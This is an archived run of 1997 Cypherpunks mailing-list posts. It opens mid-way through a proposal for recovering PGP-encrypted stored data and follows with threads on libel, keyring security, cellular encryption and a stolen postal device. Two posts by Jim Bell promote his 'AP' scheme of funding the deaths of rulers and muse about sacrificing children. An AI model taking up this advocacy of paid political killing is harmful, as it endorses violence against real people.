political merits, cryptography being a highly political field, a
politically unpopular design may suffer for other than technical
reasons).

Adam


[1]	http://www.dcs.ex.ac.uk/~aba/cdr/
==============================8<==============================
Commercial Data Recovery

This document describes a mechanism, Commercial Data Recovery (CDR), to
allow companies to recover stored encrypted information as part of a
disaster recovery plan.

Introduction

This document is centered around the OpenPGP standard, and therefore
explores first what is possible within the existing standard. Several of the
CDR variants presented can be achieved entirely within the pgp5.0 standard
without adding any new functionality.

Commercial disaster recovery requirement

PGP is commonly used for two purposes: file encryption, and encryption of
email communications. The situation arises in a commercial setting that
individuals are protecting information which the company would like to be
able to recover in the event of disaster: in the event of the user
forgetting his passphrase, or in the event of the unexpected death of the
employee. Stored files which the company may require the ability to recover
include encrypted files stored in the files system, on backup tapes, or on
floppy disks; and encrypted sent and recieved emails stored in mail client
folders.

Security vs Availability

There is a security risk in adding data recovery mechanisms: the additional
risk that recovery procedure is used by other than the owners of the data to
recover plaintext.

A central goal of the CDR design described in this document is to minimise
this security risk. Keys used to encrypt email which is transmitted over the
Internet are more valuable to an attacker than keys used to encrypt stored
files because of the relative ease with which an attacker can obtain copies
of emailed ciphertext. Stored encrypted files in contrast are protected by
all the physical security systems the company is relying on to protect it's
paper files, plaintext data stored on disks, and backup tapes.

For this reason the CDR approach treats communications keys as more
sensitive than keys used to encrypt locally stored information.

Separate Signature and Encryption Keys added in pgp5.0

This section describes a feature added to PGP with the pgp5.0 release:
separate signature and encryption keys. Readers familiar with pgp5.0
functionality may like to skip this section.

pgp2.x RSA keys

pgp2.x (and pgp1.x) only had direct support for one type of public key: the
RSA public key. RSA public keys were used both as signature keys, and as
encryption keys to transfer session keys. The ability to generate RSA keys,
and to interoperate with pgp2.x is retained in pgp5.x.

pgp5.x El Gamal (DH) encryption and DSA signature keys

One reason for the introduction of separate key functionalities is the
addition, starting with pgp5.0, of the DSA digital signature algorithm which
can only function as a signature system. In addition the El Gamal (EG)
public key system which was also added with pgp5.0 is used only as a public
key encryption system. (There are some El Gamal variants which can be used
to produce digital signatures, but these are not used in pgp5.0). (El Gamal
is a Diffie-Hellman (DH) variant which is sometimes also referred to
confusingly as DH.) The DSA is itself a DH signature variant.

Patent issues

Another significant reason for the adoption of EG and DSA in particular is
the freedom from patent encumbrances these algorithms now enjoy. RSA by
contrast is patented, and unpatented algorithms are generally preferred for
internet standards.

Key expiry feature added in pgp5.0

One general security principle is that keys used to protect communications
should be replaced periodically to reduce the value to an attacker of an
individual key.

Migration path

The pgp5.0 standard provides support for this functionality in terms of the
ability to attach expiry dates to signature and encryption keys. (In the
pgp5.0 and pgp5.5 clients the signature and encryption keys are treated as a
pair, and are given the same expiry information, but both the pgp5.0 and
pgp5.5 clients can already cope with signature-only keys and encryption-only
keys with different expiry information.)

Web of Trust

In pgp5.0 with the EG public keys, the Web of Trust (WoT) is based on the
signature keys only. The users signature key is authenticated in the web of
trust. The user signs his own encryption key thereby transferring trust to
it. This ensures that encryption keys can be expired and replaced without
affecting the web of trust.

Limited Perfect Forward Secrecy

Perfect Forward Secrecy (PFS) refers the technique of destroying old
communications keys to ensure that past traffic can not be compromised after
the point of re-keying. One way to use the pgp5.0 key expiry facilities is
to have signature and encryption keys with very different expiry periods.
For example a signature key could be given no expiry period (the pgp5.0
standard supports expiry periods of `forever'), and encryption keys could be
given an expiry period of 6 months.

To obtain PFS, a more secure way of dealing with expired encryption keys is
to actually irretrievably delete them. This then simulates PFS: an attacker
is unable to decrypt traffic encrypted with old communications keys even if
he is able to coerce co-operation from the recipient. No one can be coerced
because the key has been deleted.

It seems reasonable that some users may want to use key expiry for this
purpose, and this does not require any modifications to the existing pgp5.0
standard.

Key expiry problems for stored encrypted data

One problem introduced by key expiry is that any stored data encrypted to
the expired key becomes less available. For security reasons the expired key
should ideally be deleted, and in this case access to the data is lost.
Alternatives are to attempt to store the old keys more securely, this then
presents the problem that some stored data is harder to access than other
data, and presents additional key management problems for old keys which
will be confusing for users.

Re-encrypting after key expiry

One method to solve this problem is to re-encrypt all of the encrypted files
at the point of re-keying. However this method has disadvantages in that not
all of the encrypted data may be easily available. Some of the encrypted
data may be on backup tapes, on floppy disks, or stored inside `zip' or
`tar' archives on the disk and hence may be missed.

Separate storage keys

The simplest solution to this problem seems to be to encrypt to a separate
storage key. Within the pgp5.0 standard this storage key would be a separate
El Gamal key with a long expiry date. With this system we then have three
types of keys: signature-only keys, communications-only keys and
storage-only keys. This could require minimal or even no modifications to
the pgp5.0 standard, storage and encryption keys could be differentiated
between by:

   * location storage-only key is stored in (for example a separate keyring)
   * application being configured to use a chosen encryption key as the
     storage-only key by giving a keyID
   * convention on expiry dates (expiry date `forever' could be storage key,
     other values could be communications keys)
   * extra flag to indicate a storage-only key

Once the separation of key types is made, the security benefits of re-keying
can be more fully obtained.

Sent and recieved email folders

To maintain availability after re-keying of encrypted sent and received
emails archived in mail folders, the email plaintext would be encrypted with
the storage-only key. This then means that data availability for encrypted
files on disk, floppy disk, and backup tape is maintained; and that
availability for archived sent and received emails is maintained.

Storage Recovery

If the system is being used in a commercial setting, disaster recovery can
be provided by storing recovery information to allow recovery of the
storage-only key. There is still some additional danger over the case where
there is no recovery procedure: the risk that an attacker may be able to
compromise the recovery information. However because the encrypted data is
all protected by the companies existing physical security mechanisms the
security risk is minimised.

Another form of storage recovery would be to include recovery information
with each file, and this would be a valid combination achieved by placing
CMR-style requests for additional crypto-recipients on the CDR storage-only
key. However this practice makes recovery from forgotten passphrase more
problematic: to restore user access to the data after forgotten passphrase,
the recovery agent would have to decrypt all stored files (be they on hard
disk, backup tape, floppy disk, or stored inside `zip' or other archives),
then the user would have to generate a new storage-only key, and re-encrypt
all of the files. Given the frequency with which users are prone to
forgetting passphrases implementors may decide to avoid this option for
ergonomics reasons.

CDR vs CMR

PGP Inc has an alternative data recovery proposal called Commercial Message
Recovery (CMR). The CMR proposal involves sending recovery information with
the message in the form of a second crypto recipient. In addition mechanisms
are provided in the form of a proposed CMR public key extension to the IETF
OpenPGP standard which indicates a request to the sender to include this
recovery information. In addition facilities are provided in the form of PGP
Inc's SMTP policy enforcer to partially enforce the inclusion of this
recovery information by bouncing mail which does not include it.

Security comparison

PGP Inc's CMR proposal makes re-keying problematic because data is archived
in email folders still encrypted to the encryption key. This tends to
encourage the practice of having very long term communication encryption
keys. Indeed the beta pgp5.0 implementation the author tried makes the
recommendation that most users would give keys an expiry period of
`forever'.

In addition a security risk with the CMR proposal is that an attacker is
able to obtain via coercion, bribery or burglary the CMR key used to encrypt
the traffic for this key. With a purloined CMR recovery key, and given the
long life time encouraged for such keys the previously passive attacker may
be able to recover years worth of old traffic.

Another risk is that companies may for simplicity have only one CMR key,
thereby putting at risk the entire companies secured communications over
periods of years. This is naturally a bad practice, and one which is
discouraged by PGP Inc also, but the author remains cynically confident that
some corporate users will ignore such advice.

Privacy Comparison

PGP Inc proposese the CMR communications recovery mechanism as a privacy
respecting method of achieving data recovery. The privacy features of the
CMR proposal are that there are proposed flags which are attached to a
public key to indicate statement of intent about plaintext handling to the
sender who is about to use the public key.

Three statements of intent are possible with the current CMR proposal:

   * personal key (no flags set)
   * company use key, company may read message, please encrypt to listed
     company CMR recovery key(s) (recovery flag set)
   * company may read message, encrypt to listed CMR recovery key(s) or the
     message will be bounced (strict recovery flag set)

PGP Inc's statement of intent in plaintext handling is a useful concept, in
that it explains explicitly to the sender who will be able to read the
message, and how the plaintext will be handled. Statement of intents are
always advisory, in that they are impossible to enforce; however they are
useful in encouraging ethical behaviour in this regard.

Statement of intent messages are independent of recovery mechanism, and
apply equally to the CDR mechanism described in this document. In fact the
author would like to encourage a fuller set of statement of intent flags for
both sender and recipient, allowing keys to be marked with intents:

   * personal key, messages not archived
   * personal key, messages archived
   * key used for company business, messages not archived
   * key used for company business, messages archived
   * key used for company business, messages archived and recoverable

And, in addition a similar privacy argument could be made to allow the
sender to express his preferences with regard to plaintext handling on a per
message basis. This could generalise the -m function of pgp2.x which
instructs the recipient not to save to a file. (The -m flag is the sort of
electronic version of `please burn this document after reading', this flag
is mildly enforced by the pgp2.x command line application). These set of
flags would allow a sender to send a `normal communication message', or a
`official statement, please archive with recovery if available', or
`sensitive do not archive' and so on. A privacy respecting implementation
could provide support for these functionalities. Whilst obviously easy to
over-ride, this is felt to be a useful exercise in encouraging respect for
privacy.

In addition the recipient should have ability where company policy allows to
choose which messages to archive, and which to archive with company recovery
information.

>From a privacy perspective the CDR and CMR proposals are approximately
equivalent; the statement of intent flags, and the social value of
encouraging companies to respect privacy are useful in both.

Government access to communication key politics

Another aspect of the whole data recovery area is that the US government,
French government, and UK government (as well as other governments) have
expressed an unhealthy interest in obtaining private individuals, and
companies communications keys. Many privacy advocates view this development
with fear, as it seems to many a particularly Orwellian development. Usually
the Government Access to Communication Key (GACK) attempts try to deflect
criticism by focussing on unrelated issues as a vehicle to introducing GACK:

   * Terrorist attacks and requirement for emergency government access to
     communications traffic
   * Government assistance for companies to recover stored plaintext via key
     escrow infrastructure.
   * Assisting electronic commerce by helping put in place Certification
     Authorities and digital signature laws

However readers who have followed GACK politics will recognise the above for
what they are: attempts to put in place GACK via indirect routes
(respectively: the four horsemen of the infocalypse argument (the fallacy
that terrorists will obey laws and use encryption systems which have
government backdoors), the Clipper I, II and III attemps (various attempts
by the US government to bribe and bully companies into building a GACK
architecture), and the UK TTP (Trusted Third Party) proposal where `TTPs'
are a euphamism for a Certification Authority (CA) which has been coerced by
law to keep individuals private keys).

Scenarios governments might shortly try this to request master keys for
communications might be France, where the government is changing from a
position of no encryption software without license, to a position of
unlicensed encryption software being allowed provided that the governments
has a back door into the communications. Other examples being perhaps the UK
(with it's highly controversial TTP licensing proposals), or the US with the
administration and law enforcement community pushing hard for access to
communications keys. It is likely, particularly in the UK, and US in the
authors opinion, that government backdoors would be demanded in carefully
orchestrated stages, designed to minimise public opposition. There might be
trials where the traditionally more regulated financial organisations were
required to comply, next perhaps government funded research labs, and
business organisations accustomed to large amounts of government regulation
Only towards the end would people using government funded networks
(academics), Internet services providers (ISPs) and individuals be
regulated. The final phases may use a terrorist activity, or national
emergency, or other scandal as justification for increasing the
requirements. It is likely also that the justification will be in terms of
wholesome sounding public safety safeguards.

Political Comparison

PGP Inc's CMR proposal loses heavily in the political argument in the
author's opinion because the protocol design supports the practice of
allowing third and fourth party access to communications traffic.
Particularly with the multiple CMR key requests per key which are rumored to
be coming in the next version of PGP, it will be easy technically for a
government to request that one of the recovery keys belong to the
government. Governments already have the political will to have access to
communications; the barriers are technical, and individual's resistance to
the notion. The danger with the CMR proposal is that it could become the
enabling technology for push button suveillance, the enabling technology for
wide scale secret service signals intelligence keyword scanning. This
probably not what it's proposers intend, however the danger is there in
building the technology.

The CDR proposal on the other hand focusses on recovery information of
stored information only, and as a design principle avoids sending recovery
information over open networks. Whislt governments may be interested to
obtain storage keys, they have much less value, because the ciphertext is
much harder to obtain. Also non-compliance is much harder to detect: a
government law enforcement agency would not know if an individual was
actually using storage software with government backdoor key access without
physically obtaining the storage media. For most individuals the point at
which governments executes a dawn raid is a point at which the individual is
already in trouble. The CDR proposal is much closer to the status quo in
political terms.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 1 Feb 1997 08:26:07 -0800 (PST)
To: "Mark M." <markm@voicenet.com>
Subject: Re: Libel & the 1st Amendment
Message-ID: <199702011626.IAA20188@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mark M. wrote:
 
> If the legal concept of libel is abandoned, this presumption will largely
> disappear.  People will have to rely on the credibility of the source, instead
> of whether or not the victim of libel has sued.

  God forbid that people should have to use their judgement and their
brains, rather than their overly charged emotions.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 1 Feb 1997 08:26:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cyphernomicon by Tim May
Message-ID: <199702011626.IAA20196@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


3.5.1 Contrary to what people sometimes claim, there is no ruling
       clique of Cypherpunks. Anybody is free to do nearly anything,
       just not free to commit others to course of action, or claim
       to speak for the "Cypherpunks" as a group (and this last
       point is unenforceable except through reputation and social
       repercussions).

3.6.3 "Why isn't the list moderated?"
      ...hardly consistent with many of our anarchist leanings, is
          it?
      - "No, please, let's not become a 'moderated' newsgroup. This
      would be the end of freedom!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rob <wlkngowl@unix.asb.com>
Date: Fri, 31 Jan 1997 23:40:42 -0800 (PST)
To: Jim Ray <cypherpunks@toad.com
Subject: Re: "Secret" Postal Device stolen
Message-ID: <199702010740.XAA08867@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On 31 Jan 1997 15:26:16 -0500, Jim Ray wrote:

>from http://www.herald.com/dade/digdocs/021949.htm
>Postal Service offers $25,000 reward for stolen . . . something

>By ARNOLD MARKOWITZ Herald Staff Writer 
>    U.S. mail carriers carry more than just the U.S. mail.
>They carry something else so secret that nobody outside the
>Postal Service knows about it -- except four crooks who steal
>them from letter carriers on the streets of Miami. There's a
>$25,000 reward for tips producing capture and conviction.

- Nicaraguan cocaine shipments bound for Los Angeles
- Coded messages from the grays
- L.Ron Hoover's posthumous writings on appliantology









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rob <wlkngowl@unix.asb.com>
Date: Fri, 31 Jan 1997 23:41:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: It can be disabled (was Re: PGPMail Log File)
Message-ID: <199702010741.XAA08937@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On 31 Jan 1997 09:27:45 -0500, you wrote:

>At 02:22 AM 1/31/97 +0000, "Robert Rothenburg 'Walking-Owl'" 

>< WlkngOwl@unix.asb.comwrote:
>> Is there a way to disable the \WINDOWS\PGPW_32.LOG?
>> In subtle ways it's a security hole if left to accumulate over time,
>> since it keeps records of which keys you encrypted messages to.

>This is a damn good question.  I do NOT have the "write to a log file"
> option slected in the misc. tab and it STILL writes a log file.  How DO 
>we disable this?

It's disabled, with the exception of keeping when it was last run.
Technically
a 'security hole' but so minor I can live with it.

Maybe your version (I'm using beta 11) has a problem, but mine's
fine. I was just careless and didn't look closely (not something one
should do with crypto...)

Rob


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMvLTBQTNlSxdPy6ZAQEe4Qf7B1tIyBSZvdtg48lSZAnr4IOh9NbbrgvK
RSoGF8UVGnfQWgItsiYIkA82WAqxBBMQaJuHBolkm8PTh7eb/Q3dd4Wz9BZdMp/g
+aCRIM2MzfX2+SagyTw4r7L98XozfcUkhnSKcmJQDtrrq04Rlglt5Muf96jrW++p
ltp4gXh4nawx75GZlGIS2XB223g5Rd9RSXAGER0gV1BtZKYt8uGkzeGL0OnsZnr+
VUgNVmXX2jeCn0essUX5WcKlSK2vATkoqv3UR1deEbP0Xdt/PTwjS/GZHrvnP5B1
zfOn7iV0CGZYXWpQAGO58HtW16vqC8wZ6lb5N7tdbBRcGX0B/cHc8A==
=49OA
-----END PGP SIGNATURE-----


-----
"The word to kill ain't dirty     | Robert Rothenburg (WlkngOwl@unix.asb.com)
 I used it in the last line       | http://www.asb.com/usr/wlkngowl/
 but use a short word for lovin'  | Se habla PGP:  Reply with the subject
 and dad you wind up doin' time." | 'send pgp-key' for my public key.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 1 Feb 1997 08:41:08 -0800 (PST)
To: Paul Foley <mycroft@actrix.gen.nz>
Subject: Re: Key Security Question
Message-ID: <199702011641.IAA20618@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Paul Foley wrote:
 
> On Fri, 31 Jan 1997 17:51:47 -0800, Toto wrote:

>>      If the repairman has your pubring and secring files, you can now
>>    consider them in the same light as a 'busted flush'.
> 
> The secret key is encrypted using the same IDEA algorithm that PGP
> uses to encrypt your files.  If you trust IDEA, your key is as safe as
> your passphrase (not at all if you have no passphrase, not much if
> it's easily guessable, etc.)

  Send me your secring file. I have a new password-buster I'd like to
try out on it.

> If your computer repairman has the capability to crack strong 128-bit
> ciphers, I'd be rather worried :-)

  He doesn't have to crack the cipher, he only needs to find the
password.
 
> On the other hand, there's always the possibility of your passphrase
> being on the disk, say in a swap file, somewhere.  Same goes for
> plaintext of any encrypted files/messages.  I doubt anyone's gonna go
> hunting through your swap file, "empty" sectors, etc., looking for it,
> though, unless you've done something to really piss him off lately :-)

  Or if he's a member of the CypherPunks list, read the message, and now
considers it to be a personal challenge.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sat, 1 Feb 1997 08:40:59 -0800 (PST)
To: Rob <cypherpunks@toad.com
Subject: Re: "Secret" Postal Device stolen
Message-ID: <199702011640.IAA20586@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 05:18 AM 2/1/97 GMT, Rob wrote:
>On 31 Jan 1997 15:26:16 -0500, Jim Ray wrote:
>
>>from http://www.herald.com/dade/digdocs/021949.htm
>>Postal Service offers $25,000 reward for stolen . . . something
>

Mail Storage Box keys?

DCF
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMvNVkoVO4r4sgSPhAQG18AQA2g//lN1jUva1emDq/uQMNRy+1mIA/+Ug
5+0INso7kvCflVbterNDpWo0XoWR9tLrZ013vtcygaWUb07m/AWYBu/K322Tp7Zl
nGDaGXFvUHLdJM+hgXyxQZoK/kfWqBiHw0zxczqr3LuwyDUQgFjrHcJb+/TKphBY
JwdTTPZJNC0=
=uGDj
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 1 Feb 1997 10:55:57 -0800 (PST)
To: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Subject: Re: Fighting the cybercensor
Message-ID: <199702011855.KAA23272@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:40 PM 1/27/97 -0500, Phillip M. Hallam-Baker wrote:
>
>
>jim bell <jimbell@pacifier.com> wrote in article <5ch9f2$cuu@life.ai.mit.edu>...
>
>> Look, I've proposed what I consider to be a remarkably consistent method to 
>> prevent the kind of political tyranny that you criticize, and I don't see 
>> any recognition of this fact.  
>
>Thats because its a whacko solution that has no credibility
>or consistency. 


I'm still waiting for you to explain what you believe to be the "problem" 
for which we are searching a solution.  

Is the problem that there is slavery?  Or do you think the only problem is 
that the slaves are unhappy?


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 1 Feb 1997 11:41:13 -0800 (PST)
To: Sean Roach <cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
Message-ID: <199702011941.LAA24319@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:26 PM 1/30/97 -0800, Sean Roach wrote:
>At 11:15 AM 1/30/97 -0800, jim bell wrote:
>>What you're presented (included in its entirety below) is what I've come to 
>>call an "AP story problem."   I've worked through many of those myself; 
>>their main problem is that they don't carefully describe why _each_ person 
>>in the "play" you've described would be motivated to do what it's claim he 
>>does, and why he DOES NOT do other things to fix the situation he's in.  
>>Remember, I'm not merely talking about the main character, but also the ones 
>>who are (apparently?) incidental.  
>>
>>For just one example, you said:    "conventional bodyguards could be 
>>included, ones with no real pay but with the fore knowledgethat they will be 
>>buried with the tyrant."
>>
>>What motivates these people?  Are they hostages?  If they're hostages, then 
>>presumably that means they're motivated to seek the death of anyone who is 
>>holding them.  What about their relatives; don't they have any sympathy for 
>>those who are taken?  Why don't they donate to AP to see the lead guy dead?
>
>As I stated in the bottom, the children would be privaledged.

Who says?  What if the public doesn't agree?  Might it not be better to 
sacrifice a few children to keep other children alive?


>  They would
>merely be told that it is a great honor.  It could very well be.  Assuming
>that the tyrant did not die, these children would live in comparable luxery.

How much would this cost?  Who would pay?  Where would the money come from?  
Is this "solution" practical for everybody, or just the top guy?


>They would be at risk only if the tyrant was.  By keeping the children at
>hand, the parents would balk at taking action against the tyrant, not only
>their own action, but also that of others.  The children would merely be
>there to thwart the attempts of others.

Suppose that didn't work.  Who would kill the kids if the tyrant died?  Who 
would risk death himself to do this?  Etc.


Hint:  Unfortunately, you don't seem to be pursuing the implications of what 
you are hypothesizing.  This is typical.  Go back and do what I originally 
suggested:  Look at the motivations of EACH person in the "play" and decide 
why he will play along with the game.    This includes not merely the people 
you want to focus on, but also anyone else.




Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter J. Capelli" <pete@idaho.ubisg.com>
Date: Sat, 1 Feb 1997 08:41:11 -0800 (PST)
To: "Mark M." <markm@voicenet.com>
Subject: Re: Libel & the 1st Amendment
Message-ID: <199702011641.IAA20624@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mark M. wrote:
> On Thu, 30 Jan 1997, Jim Choate wrote:
> 
> > > * Many 1st Amendment experts don't believe in the legal concept of libel.
> > > It is, they say, a rich man's game
> >
> > Exactly, instead of equal protection under the law we have a specieocracy.
> 
> Anyone can afford a contingency-free attorney as long as the plaintiff has a
> good chance of being awarded damages.  This has the benefit that the legal
> system doesn't get overcrowded with frivolous cases.

	You mean to say, rich people can overcrowd the courts as much as they
like, while others are restricted by contigency-only lawyers ( Call 
1-800-AMBULANCE! ) ... and what of the case of a rich person trying to control
a poor one with many frivolous lawsuits ... while they can afford to file 
lawsuit after lawsuit, the poor person cannot defend himself.

	
-- 
Pete Capelli, CNE	UB Networks, Inc.	pcapelli@ub.com
******	Finger pete@idaho.ubisg.com for my PGP Public key! ******
They that give up essential liberty to obtain a little temporary
safety deserve neither liberty nor safety. - Benjamin Franklin, 1759





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sat, 1 Feb 1997 11:55:55 -0800 (PST)
To: "Z.B." <zachb@netcom.com>
Subject: Re: Key Security Question
Message-ID: <199702011955.LAA24678@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 10:41 AM 1/31/97 -0800, Z.B. wrote:
>My computer went into the shop a few days ago, and I was unable to take 
>my PGP keys off it before it went in.  What are the security risks here?  
>If the repairman chooses to snoop through the files, what would he be 
>able to do with my key pair?  Will I need to revoke the key and make a 
>new one, or will I be relatively safe since he doesn't have my 
>passphrase?  

Depends on how guessable your passphrase is.  If you use something that would
fall to a dictionary attack, then you are vulnerable.  (Providing that they
actually looked for your keyring and made a copy.)

If you had nyms on your keyring, then those nyms can be associated with your
"true name" with no passphrase required.  (Unless you keep your keyring
encrypted. Private Idaho supports encrypted keyrings, but little else does.)

If you are really concerned about it, you could learn to do your own computer
repairs.

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBMvObZeQCP3v30CeZAQHwCgf+Oks1qT2Hc9pRU4jy+YU/q3WidHVhJmf2
QxjdEFeRPyX3rt+7ThCN4wnGdh7W2Ya8SYGwmgGgU7pucJ9vgC0JACU20RvRgsQk
5USpS3+Ua9QVNs/NpKGDDANlsurPMi9y12rIqrDbmPmcnW7HDfrfByLVy0HvfqKE
ctJsOOz391rbjM+HiNXzMUiiWLBelVA9CrsG/UtSd243vymwD/J2dJiq3s0CMPln
Tl1rSy1IVsMqNuQ65ALV9qsz6GJtK8Wu1nSk1IwR8Ge2ZSq6VCqkV/hY8+r5KPOM
V0XMIblviEc87xmiJ8BMuNNJpOvhGzFZQ1TV9vwdec3pfyeV/HeHjw==
=2if1
-----END PGP SIGNATURE-----

---
|   If you're not part of the solution, You're part of the precipitate.  |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 1 Feb 1997 12:56:04 -0800 (PST)
To: William Knowles <erehwon@c2.net>
Subject: Re: PCS Encryption?
Message-ID: <199702012056.MAA26132@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:23 PM 1/31/97 -0800, William Knowles wrote:
>.. Primeco digital phone which uses CDMA technology to scramble 
>the calls and makes passive listening next to impossible.
>  (Primeco is a PCS phone)
>I have been having one helluva a time trying to find more
>information on the encryption used with Primeco, I have 
>spoken to customer service twice & the local rep told me that
>the the Chicago FBI asked Primeco to shut off a phone this
>week because they can't listen in on what is been said,
>To which the the Primceco guys reply, If the feds can't listen
>in then I shouldn't be worried.

Many low-level phone company people don't know from encryption,
and consider just being digital to be enough to satisfy their
market's demand for privacy :-(  On the other hand, if they're
telling the truth that the FBI had somebody's cellphone shut down
because they couldn't wiretap it, that's pretty outrageous,
and would seem to constitute a "taking".

>Excuse me if this posting is a little off topic, But I have
>nearly looked everywhere on the WWW to no avail.

CDMA is Code Division Multiple Access, a spread-spectrum
technology that lets them manage bandwidth efficiently as well as
providing a certain level of privacy (assuming they really are
using CDMA, as opposed to TDMA).  If there is encryption,
it's probably the IS-136 stuff.  Phil Karn from Qualcomm
was on the standards committees when the NSA was arm-twisting them
into making sure it's too wimpy to keep out the NSA,
and of course the spread-spectrum is a bit less private when
you can subpoena the spreading codes...  But it really is
much better than nothing.  Here's a posting from John Young;
you'll also want to look at the CAVE material on www.jya.com.

=================================================================
Date: Sun, 26 Jan 1997 17:44:49 -0500
From: John Young <jya@pipeline.com>
To: cypherpunks@toad.com
Subject: Cellular Encryption Docs

Thanks to David Wagner and Steve Schear, we've learned about the
latest documents on cellular encryption which supercede the
1992 CAVE document, Appendix A to IS-54, which contained the CAVE 
algorithm. Here are the latest, followed by ordering information.

  TIA/EIA/IS-136.1-A -- TDMA Cellular/PCS - Radio Interface -
  Mobile Station - Base Station Compatibility - Digital Control
  Panel, October, 1996, 372 pp. $350.00.

  Addendum No. 1 to IS-136.1-A, November, 1996, 40 pp. Free.

  TIA/EIA/IS-136.2-A -- TDMA Cellular/PCS - Radio Interface -
  Mobile Station - Base Station Compatibility - Traffic Channels
  and FSK Control Channel, October, 1996, 378 pp. $310.00.

  TIA/EIA-627 -- 800 MHZ Cellular System, TDMA Radio Interface, 
  Dual-Mode Mobile Station - Base Station Compatibility
  Standard, June, 1996, 258 pp. $120.00.

These documents can be ordered from:

  Global Engineering Documents
  15 Inverness Way East
  Englewood, Colorado 80112
  Telephone: 1-800-854-7179

However, each of the documents lists the following related 
supplements which contain "sensitive information" and may be 
obtained by US/CA citizens from TIA by signing a Non-Disclosure 
Agreement and acceptance of export restrictions:

  Appendix A to IS-136.

  Appendix A to 627.

  Common Cryptographic Algorithms.

  Interface Specification for Common Cryptographic Algorithms.

These controlled documents can be requested by calling Ms. Sharon
Vargish at 1-703-907-7702, who will fax an NDA, and upon receipt of
the completed form, will send the controlled documents at no cost.

Here's the NDA:

         AGREEMENT ON CONTROL AND NONDISCLOSURE OF
              COMMON CRYPTOGRAPHIC ALGORITHMS
          REVISION A TO IS-54, IS-95, AND IS-136
      [Note: 627 supercedes IS-54; IS-95 is for CDMA]


"I, _________________________, an employee/consultant/affiliate
       (typed name)

of __________________________, hereafter, "the company,"
      (Company name)

_____________________________
      (Company address)

_____________________________

and a United States or Canadian citizen, acknowledge and understand
that the subject documents, to which I will have access contain 
information [which] is subject to export control under the
International Traffic in Arms Regulations (ITAR) (Title 22, Code
of Federal Regulations, Part 120-130). I also understand that the
subject documents represent valuable, proprietary and confidential
business information of TIA and its members. I hereby certify that
this information will be controlled and will only be further 
disclosed, exported, or transferred according to the terms of the
ITAR.

______________________________       _____________________________
Signature                            Date

______________________________       _____________________________
Printed Name                         Witness

______________________________       _____________________________
Title                                Printed Name of Witness

[End NDA]



============================================================================


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 1 Feb 1997 12:40:41 -0800 (PST)
To: Duncan Frissell <frissell@panix.com>
Subject: Re: "Secret" Postal Device stolen
Message-ID: <199702012040.MAA25708@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>>>Postal Service offers $25,000 reward for stolen . . . something

I got the impression the author was struggling very hard not to say
	"I swear I'm not making this up"
"But I can't say that - it's Dave Barry's line"  :-)

At 09:39 AM 2/1/97 -0500, Duncan Frissell wrote:
>Mail Storage Box keys?

I was also guessing keys - truck keys are a less subtle target than
box storage keys, and telling every thug in the country that 
mail trucks are an easy target, just take the keys from the carrier,
seems almost worth sounding really stupid in public to avoid.
They did say that it wasn't something they carried in their pockets,
but do mail carriers hang their keys on their belts?
My wife's guess was that they didn't want to admit they carry Mace
or equivalent, though everybody knows it.

I also enjoyed the description of one of the weapons as a
"steering wheel locking device" 
	"The Club - Police recommend it!"





#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
